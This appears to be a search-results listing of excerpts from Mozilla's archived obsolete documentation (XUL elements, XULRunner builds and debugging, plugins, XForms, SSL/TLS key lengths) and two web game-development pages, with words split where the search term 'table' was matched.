will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. label type: string the label that will appear on the element. if this is left out, no text appears. for an edi
table menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheig...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collaps...
prefwindow - Archive of obsolete content
box containing the buttons. buttonorient type: string the value of the orient attribute for the box containing the buttons. buttonpack type: string the value of the pack attribute for the box containing the buttons. buttons type: comma-separated list of the values below a comma-separated list of buttons to appear in the dialog box. the buttons will be placed in sui
table locations for the user's platform and basic event handling will be performed automatically. the following values can be used in the list: accept: the ok button, which will accept the changes when pressed. this button will also be the default button. cancel: the cancel button which will cancel the operation. help: a help button for displaying help about the dialog. disclosure: a but...
...o child for preference dialogs that are child dialogs of a main preferences window. this ensures that the preferences are only saved when the main dialog is closed, if this is the appropriate behaviour for the platform. properties buttons type: comma-separated list of the values below a comma-separated list of buttons to appear on the dialog box. the buttons will be placed in sui
table locations for the user's platform and basic event handling will be performed automatically. the following values can be used in the list: accept: the ok button, which will accept the changes when pressed. this button will also be the default button. cancel: the cancel button which will cancel the operation. help: a help button for displaying help about the dialog. disclosure: a but...
progressmeter - Archive of obsolete content
max type: integer gets and sets the value of the max attribute. mode type:...
... properties accessibletype type: integer a value indicating the type of accessibility object for the element. max type: integer gets and sets the value of the max attribute. mode type: string gets and sets the value of the mode attribute. value type: string gets and sets the value of the value attribute. for textbox and user edi
table menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes,...
radiogroup - Archive of obsolete content
ually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable). for user edi
table menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax. for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user. properties accessibletype type: integer a value indicating the type of accessibility object for the element. dis...
...g container (i.e. the listbox, richlistbox, radiogroup, etc., not the list item that was selected) when it is changed either via this property, the selectedindex property, or changed by the user. tabindex type: integer gets and sets the value of the tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user edi
table menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(),...
richlistbox - Archive of obsolete content
ually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable). for user edi
table menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax. for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user. properties accessibletype type: integer a value indicating the type of accessibility object for the element. currenti...
... the list. seltype type: string gets and sets the value of the seltype attribute. suppressonselect type: boolean gets and sets the value of the suppressonselect attribute. tabindex type: integer gets and sets the value of the tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user edi
table menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(),...
richlistitem - Archive of obsolete content
ually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable). for user edi
table menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax. for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user. properties accessible type: nsiaccessible returns the accessibility object for the element. control type: ...
... this property's value is true if this element is selected, or false if it is not. this property is read only. this property is available for menuitem and menuseparator elements in firefox 3. tabindex type: integer gets and sets the value of the tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user edi
table menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(),...
scale - Archive of obsolete content
ually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable). for user edi
table menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax. for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user. properties disabled type: boolean gets and sets the value of the disabled attribute. increment type: inte...
... max type: integer gets and sets the value of the max attribute. pageincrement type: integer gets and sets the value of the pageincrement attribute. tabindex type: integer gets and sets the value of the tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user edi
table menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(),...
stack - Archive of obsolete content
om and right of the stack. when using these attributes to set width or height, both attributes for the given axis must be explicitly set, eg, if setting width, both "left" and "right" must be set. in some case, setting the width or height this way may even be necessary because using the width/height attributes (eg, "width", "minwidth" and "maxwidth") inside a stack can sometimes produce unpredic
table and undesireable results. more information is available in the xul tutorial. examples <stack> <hbox flex="1"> <image src="chrome://xulschoolhello/skin/stack-bg.png" flex="1"left="10"right="10" top="10" bottom="10"/> </hbox> <hbox> <!-- some content here. --> </hbox> </stack> in this example, the resulting width of the top-most hbox will be 400px (600px - 200px - 0) : <...
... inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
textbox - Archive of obsolete content
s enabled by default for the text box; if false, spell checking is disabled by default. if not specified, this defaults to false the html the spellcheck attribute uses values of true or false (you cannot simply add the spellcheck attribute to a given element): <!-- spellcheck everything! --> <input type="text" spellcheck="true" /><br /> <textarea spellcheck="true"></textarea> <div contentedi
table="true" spellcheck="true">i am some content</div> <!-- spellcheck nothing! --> <input type="text" spellcheck="false" /><br /> <textarea spellcheck="false"></textarea> <div contentedi
table="true" spellcheck="false">i am some content</div> you can use spellcheck on input, textarea, and contentedi
table elements. thespellcheck attribute works well paired with the autocomplete, autocapitalize, and a...
... decimalsymbol type: string the character used for the decimal place indicator. the default value is a period (.) defaultvalue type: string gets and sets the the default value in a textbox. disabled type: boolean gets and sets the value of the disabled attribute. editor type: nsieditor a reference to the nsieditor for edi
table text. this property is read only. emptytext deprecated since gecko 2 type: string gets and sets a string that appears in the textbox when it has no value. this is superseded by the placeholder property in gecko 2.0. the old name is retained for compatibility, but you should update your code. increment type: integer gets and sets the value of the increment attribute.
Application Update - Archive of obsolete content
ication using the same method that firefox, thunderbird, songbird, and chatzilla use. getting started you will need the following utility scripts from http://lxr.mozilla.org/mozilla/sourc...ate-packaging/ (or local source of xulrunner) common.sh make_full_update.sh you will need mar / mar.exe to build a complete update patch. you will need to compile a unix/linux execu
table mar from mozilla/modules/libmar. as far as i can tell enabling the options --enable-updater and --enable-update-packaging on your configure will build you mar. compiled versions of mar are available in the gecko sdk under the folder /host/bin for your os. in order to generate sha1 hashes i installed shash. application settings you will need to configure the following settings in your app...
...ion%/update.xml"); // url user can browse to manually if for some reason all update installation // attempts fail. pref("app.update.url.manual", "http://yourserver.net/yourpage"); // a default value for the "more information about this update" link // supplied in the "an update is available" page of the update wizard. pref("app.update.url.details", "http://yourserver.net/yourpage"); // user-set
table override to app.update.url for testing purposes. //pref("app.update.url.override", ""); // interval: time between checks for a new version (in seconds) // default=1 day pref("app.update.interval", 86400); // interval: time before prompting the user to download a new version that // is available (in seconds) default=1 day pref("app.update.nagtimer.download", 86400); // inter...
Building XULRunner with Python - Archive of obsolete content
able. set cvsroot=:pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot having created amozilla project directory (e.g.c:\projects\mozilla or/c/projects/mozilla in msys) create the following .mozconfig file. note this is complete and does not require the checkout of any other project specific .mozconfig files as sometimes shown. it effectively specifies a release build that is not particularly sui
table for debugging xulrunner itself. it uses the trunk (or latest) code in cvs so may be uns
table. mk_add_options moz_objdir=@topsrcdir@/../obj-xulrunner mk_add_options moz_co_project=xulrunner ac_add_options --enable-application=xulrunner ac_add_options --enable-extensions=python,default ac_add_options --disable-javaxpcom ac_add_options --disable-activex ac_add_options --disable-activex-scripting ac...
...g is pretty much as with java script. for example def onload(): btntest = document.getelementbyid("btntest") btntest.addeventlistener('command', ontest, false) def ontest(): window.alert('button activated') window.addeventlistener('load', onload, false) one possible gotcha is that the default python path used to find modules that areimported explicitly includes the xulrunner execu
table directory and the directory that is current when xulrunner launches. however it does not include any path related to the xul application being run. some work around will need to be found. unhandled exceptions are displayed in the javascript error console which can be opened usingxulrunner -jsconsole. one solution is to puttry .... except: print_exc() round any event handler to print tracebacks t...
Debugging a XULRunner Application - Archive of obsolete content
mpiled binaries are available in the zipped archive https://github.com/matthewkastor/redirector/archive/master.zip under redirector-master\gecko\console redirector\bin\release copy all the dll's and the exe to wherever you want. then run console redirector.exe /? javascript console to enable the js console, start xulrunner with the -jsconsole argument. note: if you are not using the stub execu
table to launch the application, the -jsconsole argument is after the application.ini argument: e.g. xulrunner.exe /path/to/application.ini -jsconsole by default the js console only shows errors from web content. to show errors in chrome javascript, the pref pref("javascript.options.showinconsole", true) must be set. to log js errors to disk, set the environment variable xre_console_log to the path t...
...rver from xul apps. see bug 1244163. starting with xulrunner 24, you should use the firefox browser debugger to debug your xulrunner apps. add the following code to your xul app: components.utils.import('resource://gre/modules/devtools/dbg-server.jsm'); if (!debuggerserver.initialized) { debuggerserver.init(); // don't specify a window type parameter below if "navigator:browser" // is sui
table for your app. debuggerserver.addbrowseractors("myxulrunnerappwindowtype"); } debuggerserver.openlistener(6000); for xulrunner version 37+ the code to enable the debugger has changed: components.utils.import('resource://gre/modules/devtools/dbg-server.jsm'); if (!debuggerserver.initialized) { debuggerserver.init(); debuggerserver.addbrowseractors(); debuggerserver.allowchromeprocess = ...
Getting started with XULRunner - Archive of obsolete content
inary xpcom components, we only need to download and install the xulrunner runtime package, not the sdk. the xulrunner download for windows is a zip file, not a true install. as a developer, i like the idea that xulrunner only needs to be unzipped onto my machine. i am assuming that it doesn’t need to hook into my windows system and that’s a good thing. it also means that the xulrunner is por
table so, if you develop your applications to be por
table you could carry them around on a flash drive or sync them in the cloud. the mac version of xulrunner is distributed as an tar.bz2 archive. you can extract this to any location you like, but there are many places in the documentation that will assume that you have this installed in /library/frameworks. in ubuntu desktop and its variants (xubun...
...unner-bin `pwd`/application.ini linux on ubuntu, you can run the application from a terminal. first change into the \myapp folder, then start the application by: xulrunner application.ini you should now see a window that looks something like this. this particular screenshot is from ubuntu 10. alternative: run xul apps with firefox with firefox 3 and later, you can tell the firefox execu
table to run a xul application from the command line. the xul application will run instead of the firefox browser that normally starts. this is similar to starting a xul app using xulrunner. see using firefox to run xulrunner applications. this does not work if firefox itself was installed as a xul app - you need to use the installed xulrunner directly. further reading: there are many things you can ...
calICalendarViewController - Archive of obsolete content
summary a calicalendarviewcontroller provides a way for a calicalendarview to create, modify, and delete items. implementing a calicalendarviewcontroller allows for these actions to be performed in a manner consistent with the rest of the application in which the calicalendarview is included. calendar/base/public/calicalendarviewcontroller.idlscrip
table please add a summary to this article. ...
...for a calicalendarview to create, modify, and delete items. implementing a calicalendarviewcontroller allows for these actions to be performed in a manner consistent with the rest of the application in which the calicalendarview is included. calendar/base/public/calicalendarviewcontroller.idlscrip
table please add a summary to this article. ...
Gecko Compatibility Handbook - Archive of obsolete content
navigator 4 had many bugs. in order to achieve the desired effects on a page, authors wrote html and javascript which depended upon these bugs in order to work properly. this can cause problems in gecko browsers since it implements the standards strictly. the old "code to the bugs" approach will not work for netscape 6.x, netscape 7.x and other mozilla based browsers. ...
...er to work properly. this can cause problems in gecko browsers since it implements the standards strictly. the old "code to the bugs" approach will not work for netscape 6.x, netscape 7.x and other mozilla based browsers. example - putting forms in
tables invalid html to eliminate line break in <form>. in older browsers, this results in the td cell tightly wrapping around the input element. <
table border="1"> <tr> <form name="form2"> <td> <input type="text"> </td> </form> </tr> <
table> this approach is commonly used to get around the fact that <form> is a block level element in html and will naturally begin on a new line in the page. unfortunately, this is invalid html and can cause problems both when parsing the page and when applying the css styles. incorrect use of xml...
2006-11-03 - Archive of obsolete content
summary: mozilla.dev.tech.layout - october 28 - november 3, 2006 announcements new reflow branch off of trunk l. david baron announced that he merged the reflow branch to a new branch (reflow_20061031_branch) off of the trunk. discussions html5 @ w3c discussion of the official announcement from w3c on the development of html5 and how mathml should be included in it. firefox
table captions discussion on how ie displays captions depending on the size of the content while ff uses a default setting. captions in ff also exceed the
table length and become hidden if it's surrounded by a bounding div element. a test case is pending. perf question (reflow branch) a look into bug #352367 and the mention of possibly reducing the number of times nsframe::intrinsicwidthoffsets is called fo...
... ie displays captions depending on the size of the content while ff uses a default setting. captions in ff also exceed the
table length and become hidden if it's surrounded by a bounding div element. a test case is pending. perf question (reflow branch) a look into bug #352367 and the mention of possibly reducing the number of times nsframe::intrinsicwidthoffsets is called for each cell within a
table. meetings none this week. ...
NPAPI plugin developer guide - Archive of obsolete content
gin features which are not available in the web platform, we encourage developers to post their use cases to mozilla.dev.platform project list, so that mozilla can prioritize web platform work to make those use cases possible. plugins are written using npapi, the cross-browser api for plugins. the main source of documentation for npapi is the npapi plugin api reference. to make your plugin scrip
table from web pages, use npruntime. plug-in basics how plug-ins are used plug-ins and helper applications how plug-ins work understanding the runtime model plug-in detection how gecko finds plug-ins checking plug-ins by mime type overview of plug-in structure understanding the plug-in api plug-ins and platform independence windowed and windowless plug-i...
...embed element for plug-in display using custom embed attributes plug-in references plug-in development overview writing plug-ins registering plug-ins ms windows unix mac os x drawing a plug-in instance handling memory sending and receiving streams working with urls getting version and ui information displaying messages on the status line making plug-ins scrip
table building plug-ins building, platforms, and compilers building carbonized plug-ins for mac os x type libraries installing plug-ins native installers xpi plug-ins installations plug-in installation and the windows registry initialization and destruction initialization instance creation instance destruction shutdown initialize and shutdown example drawing...
The First Install Problem - Archive of obsolete content
example: a piece of software called myapplication might create hkey_local_machine\software\mozillaplugins\@mycompany.com/myapplication,version=5.0.1/ where the plid is something the corporation that makes myapplication (mycompany inc.) determines. note that myapplication consists of one dll (which is an npapi plugin handling a given mimetype -- say application/x-myapp) and one xpt file, for scrip
table interfaces. caveat emptor: if the key cannot be created under hkey_local_machine, create it as hkey_current_user\software\mozillaplugins\ under hkey_current_user. on windows xp and windows 2000, in order to write to the registry, sometimes the software may need administrator privileges. thus, some installers may need to write to the hkey_current_user key; this doesn't require administrator priv...
... like: app typ avi note that these string values (reg_sz) don't actually have values affiliated with them. "description" -- string value describing the module (distinct from the "description" in the mimetypes subkey). example: [hkey_local_machine\software\mozillaplugins\@mycompany.com/myapplication,version=5.01] description=scrip
table myapplication player version 5 "vendor" -- string refering to company name example: [hkey_local_machine\software\mozillaplugins\@mycompany.com/myapplication,version=5.01] vendor=mycompany inc. the example registry key shows the suggested "key creation" at work for an example application called scobe scrubobat (which doesn't really exist!). future di...
Plugins - Archive of obsolete content
t the browser can't display natively. for example, the adobe reader plugin lets the user open pdf files directly inside the browser, and the quicktime and realplayer plugins are used to play special format videos in a web page. plugins are written using npapi, the cross-browser api for plugins. the main source of documentation for npapi is the gecko plugin api reference. to make your plugin scrip
table from web pages, use npruntime. plugins can be written completely from scratch using c apis (usually in c or c++) or they may be built on a plugin framework such as firebreath, juce, or qtbrowserplugin. there are also some code generation tools that may be helpful. more information about these tools can be found on the external resources page. plugins are different from extensions, which modify ...
...ming interfaces for npapi plugins and provides information about how to use these interfaces. site author guide for click-to-activate plugins these guidelines will help website authors use plugins when they are blocked by default with the firefox click-to-activate feature. scripting plugins (npruntime) this reference describes the new cross-browser npapi extensions that let plugins be scrip
table and also let them access the script objects in the browser. shipping a plugin as a toolkit bundle plugins can be shipped as a toolkit bundle, allowing a user to easily install, uninstall and manage their personal plugins. supporting private browsing in plugins firefox 3.5 introduced support for private browsing; learn how to make your plugin respect the user's privacy wishes. multi-pro...
title - Archive of obsolete content
e/tinyadvogato.png</url> </image> <item> <title>why can i not get any tang?!</title> <link>http://www.advogato.org/article/10101.html</link> <description>seriously. why can't i get any tang?</description> </item> </channel> </rss> attributes none sub-elements none parent elements the
table below shows a list of rss elements that this element can be a child of. <tr> <th>name</td> <th>tag</td> <th>0.90</td> <th>n 0.91 r1</td> <th>n 0.91 r3</td> <th>u 0.91</td> <th>0.92</td> <th>0.93</td> <th>0.94</td> <th>1.0</td> <th>2.0</td> </tr> <tr> <td>rss channel element</td> <td><channel></td> <td>✔</td> <td>✔</td> <td>✔</td> <td>✔</td> <td>?</td> <td>?</td> <td>?</td> <td>?</td> <td...
...</td> <td>?</td> <td>?</td> <td>?</td> <td>?</td> <td>?</td> </tr> <tr> <td>rss item element</td> <td><item></td> <td>✔</td> <td>✔</td> <td>✔</td> <td>✔</td> <td>?</td> <td>?</td> <td>?</td> <td>?</td> <td>?</td> </tr> <tr> <td>rss text input element</td> <td><textinput></td> <td>✔</td> <td>✔</td> <td>✔</td> <td>✔</td> <td>?</td> <td>?</td> <td>?</td> <td>?</td> <td>?</td> </tr> </
table> </center> see also none rss element</td> <th colspan="9" style="text-align:center">rss version ...
SSL and TLS - Archive of obsolete content
ncrypting data. ecc creates cryptographically-stronger keys with shorter key lengths than rsa, which makes it faster and more efficient to implement. ecc has several advantages over rsa, since it is faster and requires shorter key lengths for stronger keys. the drawback to using ecc is that it is not as widely supported as rsa. bits of security rsa key length ecc key length
table 1: comparison of rsa and ecc cipher strength 80 1024 160-223 112 2048 224-255 128 3072 256-383 192 7860 384-511 256 15360 512+ the information in this
table is from the national institute of standards and technology (nist). for more information, see http://csrc.nist.gov/publications/nistpubs/800-57/sp800-57-part1.pdf...
...024 160-223 112 2048 224-255 128 3072 256-383 192 7860 384-511 256 15360 512+ the information in this
table is from the national institute of standards and technology (nist). for more information, see http://csrc.nist.gov/publications/nistpubs/800-57/sp800-57-part1.pdf. for more information on ecc, see rfc 4492, section 5.6.1,
table 2. original document information author(s): ella deon lackey last updated date: 2012 copyright information: © 2012 red hat, inc. link: red hat certificate system common criteria certification 8.1: deployment, planning, and installation ...
Tamarin Tracing Build Documentation - Archive of obsolete content
arin tracing build status getting the tamarin source the tamarin tracing source resides in mercurial at tamarin tracing. use the following command to create a copy of the tamarin repository: $ hg clone http://hg.mozilla.org/tamarin-tracing tamarin-tracing building tamarin building tamarin will create all the libraries for the avmplus and garbage collector (mmgc), and create a standalone execu
table, avmshell, for executing files in the abc file format. running avmshell without any arguments will list the available options. note that additional command-line arguments are only available in the debug configuration. the tamarin codebase contains a cross-platform build system for mozilla developers. the cross-platform build system is used for daily automated build testing so it is the most relia...
...1 or later. (gnu make 3.80 does not work. nor does any other brand of make.) with the right prerequisites, use these commands to build tamarin tracing: $ hg clone http://hg.mozilla.org/tamarin-tracing $ cd tamarin-tracing $ mkdir objdir-debug $ cd objdir-debug $ python ../configure.py --enable-shell $ make ... $ shell/avmshell avmshell 1.0 build cyclone ... that's all. the avmplus execu
table is avmshell. for verbose build of tamarin, you can pass cppflags to make. $ make cppflags=-davmplus_verbose windows mobile to build for arm: $ python ../configure.py --target=arm-windows --enable-shell; make to build for thumb: $ python ../configure.py --target=thumb-windows --enable-shell; make platform-specific builds project files for specific platforms/ides (microsoft visual studio, xco...
Using the W3C DOM - Archive of obsolete content
nt object has properties for accessing collections of elements, such as document.images and document.forms. some browsers have non-standard properties, such as internet explorer's document.all[], that are not part of the w3c document object model (dom) standards and may cause javascript errors in standards-compliant browsers. the w3c document object model provides interfaces dom elements to scrip
table objects. w3c dom standards are well supported by modern browsers, however the standards are moving target so support for newer features should be tested before use. using w3c standards means that code will run in compliant browsers with minimal need for cross-browser support, whereas code based on proprietary standards requires much more effort to be compatible with multiple user agents. unsuppo...
...rder. in addition to these access methods, the w3c dom specifications provide methods for creating new elements and inserting them in a document, for creating attributes, new content, for traversing the content tree and for handling events dispatched as the user interacts with the document itself. manipulating document style and content changing an element's style using the dom the following
table describes standards-based methods for accessing and updating style rules defined for various html elements in a web page. see the w3c dom 2 recommendation, css2 extended interface. dom level 2 provides for the assignment of new values to the css properties of an element using the elemref.style object reference. you can get a reference to the element to which that style corresponds by using the d...
Browser Detection and Cross Browser Support - Archive of obsolete content
tion history primer to understand why many common browser detection strategies are inappropriate, we must first look back on how these strategies came into being. in the earliest days of the web, html was very simple, not standardized and did not include any support for client side scripting. html itself was not standardized until html 2.0 was introduced in late 1995 and it did not even include
tables. browser vendors such as netscape and microsoft competed to add compelling features to the html they supported in their browsers in order to provide the richest most compelling content to their users and to entice web authors to support them. the abilities of browsers to support the latest and greatest content changed on an almost daily basis. web authors were faced from the beginning with a va...
...noframes to support non-frames capable browsers <html> <head> <title>frames</title> </head> <frameset rows="30,*"> <frame src="foo.html"> <frame src="bar.html"> <noframes> <body> <p> this page requires frames. see <a href="noframes.html">sitemap</a>. </p> </body> </noframes> </frameset> </html> using noscript to support non-scrip
table browsers some browsers may not support scripting while some users may have scripting support turned off in their browser. use the noscript tag to provide these users with alternative unscripted versions of your pages or to at least notify them of the need to use scripting in order to view your content properly. since browsers such as netscape navigator 4 and internet explorer 4 do not support s...
display-inside - Archive of obsolete content
the display-inside css property specifies the inner display type of the box generated by an element, dictating how its contents lay out inside the box. /* keyword values */ display-inside: auto; display-inside: block; display-inside:
table; display-inside: flex; display-inside: grid; display-inside: ruby; /* global values */ display-inside: inherit; display-inside: initial; display-inside: unset; value not found in db! syntax one of the keyword values listed below. values auto if the element's computed <display-outside> value is inline-level, the element is an inline element, and lays out its contents using inline layout. if the element's computed <display-outside> value is an layout-specific internal type, this elements acts as normal for its given <display-outside> value...
...element's computed <display-outside> value is inline-level, the element is an inline element, and lays out its contents using inline layout. if the element's computed <display-outside> value is an layout-specific internal type, this elements acts as normal for its given <display-outside> value. otherwise, this value computes to block. block the element lays out its contents using block layout.
table the element lays out its contents using
table layout. flex the element lays out its contents using flex layout. grid the element lays out its contents using grid layout. ruby the element lays out its contents using ruby layout. formal syntax syntax not found in db! specifications specification status comment css display module level 3the definition of 'disp...
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
)", [ name, email, message ] ); } formprocessor.proxy = true; </script> ...
...you can see the field names and data types which make sense for the type of data that's been added. the second statement is just a simple insert statement using the data obtained from the form. placeholders in the form of '?' are used to match up the argument values with their proper position in the insert statement. ...
XForms Repeat Element - Archive of obsolete content
ines/my:line[index('lineset')]/price">0.00</setvalue> </action> </trigger> <trigger> <label>remove current item</label> <delete ev:event="domactivate" nodeset="/my:lines/my:line" at="index('lineset')"/> </trigger> attribute based repeat when using xforms within host languages like xhtml, it is often necessary to create repeating structures within constructs such as html:
table. thus, one might wish to use element repeat within a
table to create the rows of a
table, where each row of the
table binds to a distinct member of a homogeneous collection. since html:
table doesn't (and probably never will) allow xforms:repeat elements as children, another syntax is needed. to accommodate this, xforms 1.0 defines an alternative syntax that is functionally equivalent to the repea...
...y element carrying these repeat attributes. similarly, the index function can be used with the repeating structures created via these repeat-attributes. the id of the element that contains the repeat attributes can be used as the argument to index. note, we don't fully support attribute-based repeats. there are a number of errors that may occur, especially when these attributes are used with html:
table. be sure to test your form carefully. example <xforms:model id="i_model"> <xforms:instance xmlns=""> <data xmlns:html="http://www.w3.org/1999/xhtml" xmlns=""> <val id="1"> <nest>nest 1.1</nest> <nest>nest 1.2</nest> </val> <val id="2"> <nest>nest 2.1</nest> <nest>nest 2.2</nest> </val> </data> </xforms:instance> </xforms:model...
Mozilla XForms User Interface - Archive of obsolete content
nly, that means that the control will only be available for firefox 3.0 (gecko 1.9). there are several possible reasons for this restriction. the first is that the changes required for such controls could not be safely made to firefox 1.5 or firefox 2.0. the second is that the control is introduced in xforms 1.1 and we don't feel adding the enhancement would be prudent until the 1.1 spec is more s
table. for instance, when the spec reaches 'recommendation'-level status. if you see xhtml/xul then it means the control is available when xforms is hosted in either xhtml or xul. similarly, if you see xhtml only or xul only, then it means the control is available only in that host language. attribute sets this section describes attributes that are often used on xforms elements. these attributes are co...
...he help will be displayed if the f1 key is pressed while the containing form control has focus. hint similar to a tooltip (see the spec). the hint is displayed when the mouse moves and pauses over the containing form control. alert this message will be shown when the form control cannot properly bind to instance data or when the instance data value is invalid or out of the specified range of selec
table values (see the spec). message used in combination with event listeners to display a message to the user when the specified event occurs (see the spec). xforms user interface these elements are mainly used to organize and manage the form's markup. they can be bound to instance nodes to define context for the xforms controls that they contain, should any of their child nodes happen to use relative...
Archived open Web documentation - Archive of obsolete content
znerd 04 august 2009 browser detection and cross browser support improper browser detection can lead to web maintenance nightmares. ...
... znerd 04 august 2009 browser detection and cross browser support improper browser detection can lead to web maintenance nightmares. ...
Issues Arising From Arbitrary-Element hover - Archive of obsolete content
. this has not traditionally been the case. bare pseudo-classes the second piece of the problem comes when we consider the effects of a "bare" pseudo-class in a selector. for example: :hover {color: red;} this is equivalent to the css2 rule: *:hover {color: red;} ..which translates as "any element that is being hovered should have its foreground colored red." thus, hovering over paragraphs,
tables, headings, and any other element in a document will cause text to become red. a common variant is to use a bare class and hover pseudo-class together, like this: .nav:hover {color: red;} in situations where the only instances of the class value nav are applied to hyperlinks, this will work fine. however, rules of this type are usually seen in conjunction with markup like this: <td class="nav...
...tuations where the only instances of the class value nav are applied to hyperlinks, this will work fine. however, rules of this type are usually seen in conjunction with markup like this: <td class="nav"> <a href="one.html" class="nav">one</a> | <a href="two.html" class="nav">two</a> | <a href="thr.html" class="nav">three</a> | <a href="fou.html" class="nav">four</a> </td> because the enclosing
table cell has a class of nav, the vertical-bar characters will turn red when the user moves the mouse pointer anywhere within the
table cell. the links will also turn red when they are hovered. gecko behavior in browsers based on netscape gecko builds later than 20020410 (netscape 6.1+), :hover styles can be applied to any element in a document. thus authors who have used bare pseudo-classes, or bar...
XUL Parser in Python - Archive of obsolete content
that tag, and the attributes' values, so all you have to do as you hit each xul element is build up a nested dictionary of elements and their associated attributes. after all the xul files in the specified directory and its subdirectories are fed to the parser and parsed (using the win32 system's <tt>dir /s /b *.xul</tt> command), the dictionary of dictionaries is sorted and written into an html
table. the xml namespace support in xmllib was resolving the xul and html namespaces in a very annoying way, so i have an additional function, strip(), that takes off the whole namespace that xmllib is trying to tack onto the front of each item it finds in the xml. some modifications to this script may suggest other uses. the parser provides the tag name itself as a string and the attributes and thei...
... until i spruce it up a little, this is just a very basic demonstration of using python's xml parser with xul. but mozilla's upcoming support for languages like perl and python will really open up the mozilla platform to tools and approaches of this kind--and make now a good time to start thinking about how these various technologies will be put together. the first level of suppo...
Introduction to game development for the Web - Game development
indexeddb or the "cloud" web html, css, svg (and much more!) the business case as a game developer, whether you're an individual or a large game studio, you want to know why it makes sense to target the web with your next game project. let's look at how the web can help you. the reach of the web is enormous; it's everywhere. games built with html5 work on smartphones,
tablets, pcs and smart tvs. marketing and discoverability are improved. you're not limited to promoting your app on someone else's app store. instead, you can advertise and promote your game all over the web as well as other media, taking advantage of the web's inherent linkability and shareability to reach new customers. you have control where it matters: payments. you don't have to hand over 30% ...
... and your game's reach. you get to manage your customer relationship more closely, in your own way. no more having customer feedback filtered through an app store's limited mechanisms. engage with your customers the way you want to, without a middleman. your players can play your game anywhere, anytime. because the web is ubiquitous, your customers can check their game's status on their phones,
tablets, their home laptops, their work desktops, or anything else. web technologies for game developers for the tech folks, let's dig into the apis the web brings to the
table that cater to game developers. here's a thorough list to give you a taste of what the web can do for you: full screen api this simple api lets your game take over the entire screen, thereby immersing the player in action...
Game distribution - Game development
des hosting it yourself online, submitting it to open marketplaces, and submitting it to closed ones like google play or the ios app store. benefits of html5 over native building games with html5 gives you extra advantages, such as: multiplatform bliss the technology itself is multiplatform, so you can write the code once and target multiple devices. this can range from low-end smartphones or
tablets, through laptops and desktop computers, to smart tvs, watches or even a fridge if it can handle a modern enough browser. you don't need to have separate teams to work on the same title targeting different platforms with only one code base to worry about. you can spend more time and money on promotion and monetization. instant updates you don't have to wait several days to have your game's co...
